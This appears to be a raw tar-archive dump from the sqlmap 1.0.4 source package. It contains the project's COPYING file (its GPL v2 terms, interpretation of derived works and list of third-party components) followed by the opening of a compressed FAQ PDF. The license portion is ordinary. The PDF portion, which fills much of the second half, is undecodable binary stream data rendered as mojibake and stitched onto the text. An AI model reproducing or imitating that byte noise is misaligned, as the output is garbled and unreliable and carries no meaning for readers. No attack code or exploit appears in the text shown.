has caused devastating problems for other software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. sqlmap-1.0.4/doc/COPYING000066400000000000000000000472711270044205500146230ustar00rootroot00000000000000COPYING -- Describes the terms under which sqlmap is distributed. A copy of the GNU General Public License (GPL) is appended to this file. sqlmap is (C) 2006-2016 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar. This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; Version 2 (or later) with the clarifications and exceptions described below. This guarantees your right to use, modify, and redistribute this software under certain conditions. If you wish to embed sqlmap technology into proprietary software, we sell alternative licenses (contact sales@sqlmap.org). Note that the GPL places important restrictions on "derived works", yet it does not provide a detailed definition of that term. To avoid misunderstandings, we interpret that term as broadly as copyright law allows. For example, we consider an application to constitute a "derived work" for the purpose of this license if it does any of the following: * Integrates source code from sqlmap. * Reads or includes sqlmap copyrighted data files, such as xml/queries.xml * Executes sqlmap and parses the results (as opposed to typical shell or execution-menu apps, which simply display raw sqlmap output and so are not derivative works). * Integrates/includes/aggregates sqlmap into a proprietary executable installer, such as those produced by InstallShield. * Links to a library or executes a program that does any of the above The term "sqlmap" should be taken to also include any portions or derived works of sqlmap. This list is not exclusive, but is meant to clarify our interpretation of derived works with some common examples. Our interpretation applies only to sqlmap - we do not speak for other people's GPL works. If you have any questions about the GPL licensing restrictions on using sqlmap in non-GPL works, we would be happy to help. As mentioned above, we also offer alternative license to integrate sqlmap into proprietary applications and appliances. If you received these files with a written license agreement or contract stating terms other than the terms above, then that alternative license agreement takes precedence over these comments. Source is provided to this software because we believe users have a right to know exactly what a program is going to do before they run it. Source code also allows you to fix bugs and add new features. You are highly encouraged to send your changes to dev@sqlmap.org for possible incorporation into the main distribution. By sending these changes to the sqlmap developers, to the mailing lists, or via Git pull request, checking them into the sqlmap source code repository, it is understood (unless you specify otherwise) that you are offering the sqlmap project the unlimited, non-exclusive right to reuse, modify, and relicense the code. sqlmap will always be available Open Source, but this is important because the inability to relicense code has caused devastating problems for other Free Software projects (such as KDE and NASM). If you wish to specify special license conditions of your contributions, just say so when you send them. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License v2.0 for more details at http://www.gnu.org/licenses/gpl-2.0.html, or below **************************************************************************** GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS **************************************************************************** This license does not apply to the following components: * The Ansistrm library located under thirdparty/ansistrm/. * The Beautiful Soup library located under thirdparty/beautifulsoup/. * The Bottle library located under thirdparty/bottle/. * The Chardet library located under thirdparty/chardet/. * The ClientForm library located under thirdparty/clientform/. * The Colorama library located under thirdparty/colorama/. * The Fcrypt library located under thirdparty/fcrypt/. * The Gprof2dot library located under thirdparty/gprof2dot/. * The KeepAlive library located under thirdparty/keepalive/. * The Magic library located under thirdparty/magic/. * The MultipartPost library located under thirdparty/multipartpost/. * The Odict library located under thirdparty/odict/. * The Oset library located under thirdparty/oset/. * The PageRank library located under thirdparty/pagerank/. * The PrettyPrint library located under thirdparty/prettyprint/. * The PyDes library located under thirdparty/pydes/. * The SocksiPy library located under thirdparty/socks/. * The Termcolor library located under thirdparty/termcolor/. * The XDot library located under thirdparty/xdot/. * The icmpsh tool located under extra/icmpsh/. Details for the above packages can be found in the THIRD-PARTY.md file. sqlmap-1.0.4/doc/FAQ.pdf000066400000000000000000011416221270044205500146660ustar00rootroot00000000000000%PDF-1.5 %ÐÔÅØ 119 0 obj << /Length 1542 /Filter /FlateDecode >> stream xÚÍXKsÛ6¾çW°7hÆ‚ñâëÔqÒ:M§™iÏôôQÄš">ìèßwi=¬T©ãN.Â{ñí·‹Ý¥X´ŒXôú;Ѿ¼yqyÍóˆ§TðXE7‹ˆ' úQÂc*sÝÌ£¤ýT­õf2•LEc>õ¦žˆ„tÕçt{;)1sÂzÛ•¶nqø‘Åìz™"Wn×;óÉ_7¿ ñ¨qP\ç×F@Ó<Ž…#8…ˆ¦ŠÑDææ¥ijÝÌ- ?鵩Œë§äŠâÜkÄ£’Ñ?«ëù‰[ý†”¼-ÛVÚa¼CAï;½Þèf_Z*i®Òh*rÊ“€éz’ bfM¯›-béÊŒ'{†öòZ%QFó$ñ¼‹˜¦¹Š¦RA›¢Ø«YÛ5ºèN—;ç9eŒx*¨Ê³Hå€UÆõ®• e‹­®±µ0/2b°µ}S컕V é&œ”“)':aoçl]/ÃÀúݶ Ã'ºïìZÃÞaÁ8"FóL ãŒ&i©LPG€Ã¼iP`aZD/ ™›ÎÃŹ7®Ÿ7Ÿ7•-Þ¿û ÊúowÀÖ8ÿ‘ÉL“ûö@B§oÇÓÖí¸s?¦ÁU¸ßwlLJÀuÆ9"ŸëNÏtëId¤5 H‚›|TÅŠ¼ép¥°k$…“û²[á¤Æ©÷îñô¢¯p)¨Ú€Öõ²¬ÍÊYƒUáÈGuY¸ÑáÙ!î´qïÍá^Ýõ BJÉÂ6ØqƒNBúª+!qzÏ9šÔ»„çK%V˜ÔØÌ«ÃL£ëeã­ m ¸íˆ÷nÌ(Ë%­ôè}B“]£!ûभóVƒË`r76›¦ô¹ƒÁÿ÷í ›\[˜éè>ÐÂGs_ Þ!QKR!j÷Lü«(œcrGi}=7¾qñ^®3¯@¶´[à8 ƒ¢ŸMÑ?ð¾¾0î…ÖáãÛã‡EF9´¡ –m‰ƒD¹s«$we ÈöÝÔ.¦³C½uÞÙúH|y ÞÅðQ}*Í„P™Ñ8Uë^> wlÚ½˜d”C¬‰À@DJSÂ$ŸLsCβ“!;e’\Av‚±ÏN™"ïÆìt$x&…$âàbžì\ Jä ‚4äËTÅáv ÷s&ùÃT_¥ 1÷ÇÛR¥ʱoÞ¨<.ÑØ’–°ü€³q•%Q¿XÎî‘+ŸÉ«7Ø \kÁû§ðù|"çOáG~^ù¼ úN\¼Êài,Œ¼£ga?$دÃ"PØ”;´ÅŸ˜3LÌ×°}ùÁìTÙ <õ#®3€ôEýä—õKýÔ ý ¤Àõ3¬AæÇ ýíž’P@$7–\î„]tèWð£sì32ÿÆŽ/Ï4lü˜ãÈÂèùÁ*Ì6NÌúe‹[}ö[|mƒÚÜcgÈÙ<ñ<þ\½“‡ á-Ú”³~ðhôТÐ-g]U;žëÛUˆ >5Þùï ð×µAIÇN+¿¶<#êLmÓÚB_†¶=¥¿rN¾«¨$•­—S(¤ŽéI¥c˜}>ý²s¼¸í7nü`90œÙ±œÿˆ€Q؇õƒ±Ú½`½ÆôfÓ˜¢ôµæ‘ò®`Ü]ã3ÌÏQpa«Ê:Øáõ•mGÃŽÆ;ÇZêÙÊ€§ÀHqÕLYUÈÀÖÁ·ý)ûZP:ħ¯Añ©—fP?dt_Aº¼~DGþ¯t#«Ý<®ÈïÛneÃIyÿö1ýG+|> stream xÚÕXß“Û4~Ï_á7œ™ZgI¶eñÂЃc:Ú†¦t]¢\L;µ^óß³Ò®}‰ã+×ÂðK²¼Zío¿MÜqðÝìëÅìâJñ@3‰,X¬.%R™NY¦y°X¯Ãö]¹5»y$Ó<\7ó”‡Öý¼ÛÏaTuóˆ‡åÁ½V¡ißúw+ÜýnoÛ®¨«§¿Åi|5ç± /ݦ0çðFê4„'…¯æJ…ÇgÀ(<Çü¢?àÅpÀ›Å³§‹Ù»‡«Å÷WQYWáLÇi°ÜÎ^¿‰ƒ¼ü!ˆ™Ôypç·n™ÀVî>,ƒW³³˜ìÛ‰gÇvJrøBYªÀ^)Ú‰3žÌ£nñ}=yxçî–„KS¹ ¯ñÑn꦳´Öm,îÚ÷É¡¬ÍªÅWEõ‡]vv…³ÿ÷¢C¾òwîu ^G*“!âøqÑç<‹u˜¬oã âŠi)†›¦xÓŸ7¦C¥V õ<-­÷DVrd1%™” y?_¾|~ýü;'# ÷ÕÛª¾«p²Ü˜¦µN¾`Œ}ÂNÍŸfŒÇy/mkMuf Íå?n†HÍ’$%kÈÁÙ„ß»=·o-9¾Ï#xyWt› +qÉYž¦ÃÅêÕï½kŠÎNX!‹÷ÚÊÜ”vuf‡$ן³\A=`#®äÆ™‰T0G\´cËÈ°ª) Ì DTiOyk;ìLÛÞ9Qu³Â-Ónì;$¸Þ’ñ—¦µí™qr­>ívñÙ½ò&jÞ^Î… ']' DônŒ¢Î~袺Ôû+—¯êó ©üï{û3ÅE–² `Œ$ÚíDÖZôЭ8sN3ÅR;·°Ó£gš->!º,]ÝNÙ” ‘³,§‚^óòzqýÍå³7„8uUÐBÁyWltÏm¬¡8ãúTîݦÀhÍP×tÐÕ%&Ž ŒÝeùø¢)”[8Ì˹iEzØJDë`€r¤Ùš²<œ—|f¿'Zî@‚ižŒãDÄh:Ÿ…‰T,Ë È9%UXtøTÄ«Û¶ðNPèÿÊóGb'ç,¨?•þüÕÓ—‹‹Ÿ~üörñtª0Ýkt&òôûW/ž¡Ëz»5ÕŠ”}_˜hÂ3Íb 'œL ’¢@3~ÔLáœÊ¤Ç‰'Â3çútœ0€Ï²|ta õ”®šI%Nå­]>Lè&˜Œqg!œeâ?'Á3–VŒð]ðžòqØÅŠ)MI;T0cUãœ*,PþÃ’/c°²²@Î…ý°+ë¢ÃwÀ÷¡&$r+=¢À5 @ƒ«.tlMI¼=O8ê´,LI‚õ¨.© ™Æžó_ ÿµÊñhŠÐåÁš{§‹‡°&Q°˜§7°£{Êѽ$‰‘æ»Á5>VûíG¾–Ã\gÁÃMgŠ çЀ[º¦pLÁo]ã ƒÓ#Ç o€¿¬zyøܺÓÓqµV§’â ®V…‹ªsŸ«ÿ‡Ï?5,þ=­³ÍÀ +¬ÃÔÇýˤ¢î¬.iðÞùÄ6­ËahVñçÕ{š{æ™$ÿ2K‹óPŸ¬^\òñ„É$£#ë¬"s¦EoèÑ9¤«9°ŒÆºÞ|.Ó|®Òð²}ëæ¾c…éIoŽ@'ž¦þàÑÐJ©þ/ $œx4|ïažGV{¸ÚöݾLAq©G  Za«™åI´CŠNÓ¶Þ7K‹[2ØÊv!0v×t·¶‰“iEIS"ÿõû®ÞšÎ¶ý‹^fƒ_,mÛžaK¯{¡Ø3±¤JávSW}ý€JQ`¿äÉ…à?^s7…@MGªv$¤3oÉžtRøÒJ¯‚2H–< VcÅ¥»MotÛ¼w¢ \Z&À†©1‚ÂeÛ£ö92ýý Ûgÿõz_R?…¨)ûlu[Tö N€C ídVÅÒÍz¾¼¶¦Û7ý‘뺡Vr3Ü$OÆ7+ÂÍ} ­€ñœж—£¨p Qá 3Œ½Yý@ä ­4¦º%9 àIM¡S·Å•Òô“uSoq46>ÖxçT’<(ÝÚf×@:tŸÐÁä`ö ;Étšuºèp3q>Å°!yžË¸Û.]PSjhÚëûje›òP`‡æžë‘êè ²{Õ=Ýl`Ö-ŽÑ¬..?Øåž,äRi ÐnæO<Þ-P;oõŸ‹uœ7î¡Ý^G7Dlƒñˆ"—Ð|äC-¥f±eà|–gÙPH×€+ Ü!¤­j|^ã/fÿ î\ê/àJ©;Yc„üÿ"{ú¥¡thöUE^JÂ>›(ý~z~ýËųÂ'Óþµ›½±\Îø,£¸O#J¬²ÄĤ“k轋¤IÃré@Ыnˆ¨Úf[T¦ür²XzWCË5ýýº;t›¾‡G#²Ý§ÑfÂœQ -KN2È_¿ÎsI–“÷Üš²¥¿ŸZ{z{ÏX:•è èo,€ºÖÜö-¼gj»¹#ù·»Û‘n¹ßfTÎÇ7©†ÈtK¥½GÍ +]W‘çy(ND<]Ìþ2)¬œ endstream endobj 163 0 obj << /Length 2242 /Filter /FlateDecode >> stream xÚ¥X]³Û¶}ׯ`ŸJÍX  éiëÚiì&“ÎØíñdì@M¼;ðëÝO³îfŸf ® _%³9®’DEl‚Õnöá×8Xc𧠎t‘žº tŠ© -¬ƒÍÞÍâ§öIìSûD±ºÜßd0™ îv0ÕºO>ÎU¶£tÊÎQÆÝØ4Us/Ò¶ñ£òy_5ë–Vzô=ì;¸t{„ðq^´õM[ײö¸ûªÝíÊf-çnºv7;_™(5‘ÊåƒëvUSÖÏÙ¢“%¦/à’>1G@(/Œåûç¾}¶m£2jï¹¹/ÐÔ(ã¡í¥»ØÒ)·m ¡É‹(Í QðýÖÁž¼ìL—㥬T¡ÎkvûP…+eÆœoP‘Wr²9^Úû=nXÚyùÉù¹ «¦ʺvkoO:¡»÷GýóÍ,øÀkDµ3›÷Úè+÷KãÓñ®n÷ºWì·À¢LÁ6 ײ~Ñ/󆮿î¤äˆaG°ª‰ „-A£4>‘±Ž”ª;W»²wk‘ŽÍÚuÒ<¢•Úì^šífv7P‰ß¼ýù³:%y&‹ÛjE@ߊ;W6ý´m9H S9,ͤó5u¦…{DAéêóܘ°ðXçp4uÒÛцcï÷_žè0×U?tÕr&C0àÚÑÏÞŒnìMÓ9š½š²n „O´Š)Õý–ú«¬™æI”¦Z´ù®þp Õˆ¯¥íwÔá׸®¬¥óv\Ö0!·®V®éý¬jè]½¹"±3Gú48tfÀôAÚ:—ŒmV)3'è íƒ§•^)Ÿ}×î»Ê e÷èW´›æ(`Æ^ü6]³eh`>¦ÄÔš+¦6…kú­ˆIúBaŒ{‡®Ev g¬œ ­iëöþQÆq rO+3δçå¤=eEú¡$œvMì1ådl]_÷/쮌õY#~fzGÕâµ^zTݬZQ©\QîþFp]&.â‡ÂNÔØ—µëÿêeÛÝ_ä„3Ûç:²ùq%—S×xU!eĹº$Vã±ó÷V|Ì._]©s{!ÈnÁr¼ï¥ÕvÓ®ó¤Ó8¿ÑƕÈ(»Fñ9)¾Qµ¤YâStX/®¨Át5ê÷éÛ&(æl  òòáù‡ùÂÚ8|Ë<‰ c%g1µ "@–¦FâoH"¢’Ü$JšXõýèüÜ®d¤>0ƺ öä)m÷ì*âtŠ{Øü*âPçZ¸×'-O,ß&p†»²ª%IÈea ÄöÃ%Ÿ3ÑK’,*´—¼«µÃR×?¿ Š‡³¤^¤éyø1N²[ }J&lf…ç†òyî•Û´\IeO+)túq‰‹ìªAºÌYyH2‚‰Ä¥9¹” •î²;f©lâ—vðÝÖ×Óß’ f4Vu+émvm/mØm…šçòE•û+ìʇ‰%¨æ;ß’< ì’mË^dä¥v6£œ‡Ç½H–|16 Eø²Æ‚¾}&É —,Â-qd>œN»‘Ý-Ò¨ëþØË䤯±¬Ïá‘\Þ3CA¦|ÊÞ0‡>Ï[ÿþH¹$A6·~hˆn¡hAM *pVòûPD>0—Êá Lˆrÿ89^Sâyšåǧ™°Î :]Ë6^«Ë÷Õ’†Y‡Šh}+ãpúS*’ UŒ×v¿sruq×WRåmØÔFéDWR éé¹ô»m§þ÷fåø_æ9¸oì$†Îˆ’ƒjÛŽõZÚ÷§Z ½5²oU;?FOŸnäLè«,3hlåÅ*&49‹ÝMn 1ÁñÕ¨SÈb‰OÑX¹¬ÝŽÃÃÊK<)NEÚ]YI¶F›/ý‰Ñlù¢6$îËÊíIc­©zÃ1»[–j"ªünsk·Ž¾*t'=ã"2Ö[÷ol$.ÔÑÓ§J]£€w_<1­|=©¦Êh[’Õ>Wâ©Ê¤!5Mí©‚A ÙFò4|)Ò~ÇyŽ'xÔj„Aï.P™E&.‚¤È"{SóïqZSJ o¨¬:LÙùbúSG‹qè»ve}Äy”Ùÿ â$Çsz/1Àr§škA Š®RV €AG8X9ŽÛ,ôTÌÅ 1-§êrªìÑ‘·žÚQ •Ôp"¸û ×â>ÉðfŸÞ@¾f³=!ªtr³žŠ-(ïçÿß)¼99L؆ï·þ¯³ƒXC¬Vù¿ã6ü(ÿ·±pylg” 6cýâ¦çzåÚä¿'ïK;˜"ÊÒüä;¥Ùw›€:l¥QbRš$‰:‰['O;SO³‡IB7¦i¥tÁçp&j{.aIr [Sª*B¿7G–àU¹ûÞ« 2 Nè58YPIÒ¼z«4ƒ?”ÜJJc0ÊÉÍJ»§¢‚ý8 ›ü'Kÿ=b”hkJ/ê‹gg`ûVê×¾.ôg\) Yù{A_þi8]M›(×™þJîôTº¯Ë•;¯W—ݱ@¨<Œé µ¤‰> stream xÚ½[[sÛ6~ׯÀ>5Ù¸_:™î¦é¦íL»“&étwS?È6m«Ñ-"UÇÿ~¿CS!R-Ky0ABà9Îùƒ‚qf˜âÌ2á L ÉGfB1¥šiJÇ þ„gÞx4c>¨D½°œIƒ2&!FÓ3½jÁÂÙ9x"•Æ›B0åPjË$i˜!ô@K&öLC”óPŒ&Üâ"Þ7@&ñl=C¤ Š‘P d*@¨…ŠàôÀJ¦¥ Ì”Àc-DC iã s}S’9…rD’` #ÃA•Vè«@iÝv0à𪠨ô–Y ýžT@€!„¡ÊqŽg ‘ÀJÍY€Hë$ *¸Ι f处ŒÎ%óø‡XÌTë¢(¶ŽÚXæ½ Õ0†àºÝ@©Tr 0ˆA¡dî`ð†@¿‚Õ4Rè<ÝY 1S¤[jDz$ä É Œ d&àJm¹Vâ=Ý9gr[{ýê5p‘£ðàɇ! _ÕKÒ¡jÕ¤CÕI‡¦; ; ø¤+>d¨ªFžˆ4ÐI®)kTšî †B #@ I6RTÂ/¨G“¿Òv_ßTYÇ1˜Â2I ÈQ+3ŽîÁ£®ꚧÑ1†ÔzübÈù%T « €¶ƒ/XþŽå?ÌÞÏXþ={VÕh6ÍÄ×ìÛoÏþPÎâÏýÁ9M—] º|¢Ë2>NéRÑeL—;ºüÁ5§ò%]Jº|Œí/6ø5•UFY#ºÌ¢üòë6àåyÄÜ…úwºÜÐe¥®ÔŽ¢²UM{V÷bß›Óå{Ô˶úcn까իšŸ>ÔVøï.¢yªXwĪøU”0ÝŠo”Žx è:ºÇð¤«V·Q~GnõÛ°%nÃ<‹ôåÄ «hòYÄÐÙ¹aD—ŒV­ê¯x7Ž’æ©E®ûØ]f÷"B;ïžHýl¼1|³­6žG£ÎÒÇQT_Å—-“—ñÍ«Øô6m_ô±–é=¯.zq­w…,Z±á<:Õu+J¬_iËü´-”­šNão ò«X½ž>ËTtÙÇVö0ϺHm•ŽôùŽ4‹¯¯_vÄîaôÊñŽ¹™ÔÜ´”õ˜‰“Ž”´Ïhî0£ c¯×Éj×ÝqŒUû|ªW§õñsäMGŒ*úò‡yÔr—zÏ0Ž~ÙMLþLSYÕ= λ§ÞÁ Xa·ä_/¼‹V_~{oéòïhÞúM—±ÛãÝzȦ­q»IW=eº|Z5ý*N õå«î°7ìÍ „ííbmW_vg¦§/å'QÕ½{åR>tÛ±ž/ZkáišHÇ©Óí5ÛåïØZ[ï7þ½¿ŒÈ×&…[Vù»¥^uxþ^éX`=bû¶:“y£Ñì%Û}Rá8(´Ëœ°LiJφIm3N‡ƒŒÌ8÷Ý0Ú王EªL;&½Ëè¼R:“Ví‡"O…›ÌIô ‡#)AÕÃ,êøXÈæ@a‚‚ÃxøO³è@qÙà J*éEÆe³˜`§ÒQ´€‚Ž°Y•IßÃ,öPà©NÃ[†S AGõ0Š;á˜6{‹Á‘¨ =,âC„IG1pZ:gÈ3®Ý~(áPà£F`ltF§ üEqÙ#Àñ`“:š`0o4 L»ˆ„[A!¹Ò!‘;:ng3/úæ˜ñ¶I†3ˆÓI=ø§ƒ¬Z#º/ fe{„çЙE‡èc™$ú? šÿùïÿXÝU:ÖŠÔn7]ŽÇg[›ªº©µPŒÐߧ­æ˜iJ§m_ƒÊÖ_ :–)âK§I¥jè°§Ô«ê­i謥t«‡úìfó@F’+M‡1Õ=…ÚüÍbvñ®€9Á§¿Íò÷Åçj“unm­ZD[‹C‰¶hˆ³hˆ³j±Zâ†`«¦nJմ׫÷­›R5Ä[¯J¾ƒPì|ÖhŠOOŽ€·ÓÃ÷Nî­òÀbkߢõ‰E½°}& ò½ErÕÊÖÜCaÔ­DŠ‘¡˜d|‹Ñ1°ˆ¦Š•– ¡Áös‚¤o¼„r,!`‘`ñT¦¬îæ™ßXÁobZ1Î`}ÓÇ2áøiÅ€#ZΌū´>¤Æ—³² ±D³6 ÑÄÐÃ%?a$¥6,*@è=‰A1Þa0+Ãp yamä_ÙÇ¥8¾etóР¬´¥€Ta8òë†ÒØEƒ§£]´Ç¢Ôös†¦1¯ƒ©W™SàÓNõ£‹ò McîÐ'"ÊðÌyúDÉdÞõ™K› ¾˜éKÑ6Ú6¼Ka ìúµUÁfĦWci‘߬ÛFè°®M>F¼tp¸CÉ™m“3{093Í®¥iv%M³ki’f’f’fì“v-)¾9ôßx„ú¶ #«$}8æ2ÍuÿÁ›ªš“ç···Ùü®º3=mÃK I–\f|…$Iy « ä©Ã`]O—„).ŠiY”ùõ|ü\f<»©&ãÑJCœï~}Q=ä”Y‹Ë>j9åQv{i¬E³Ÿ{ *²:}þ¥,Gý#­WÂ|×£êfyž]Ì&ù=¾ùbö'T5Où¨,—EùJ‘úÒ|š–!Ò– ë*í³ ÝãGeUf÷Óñ 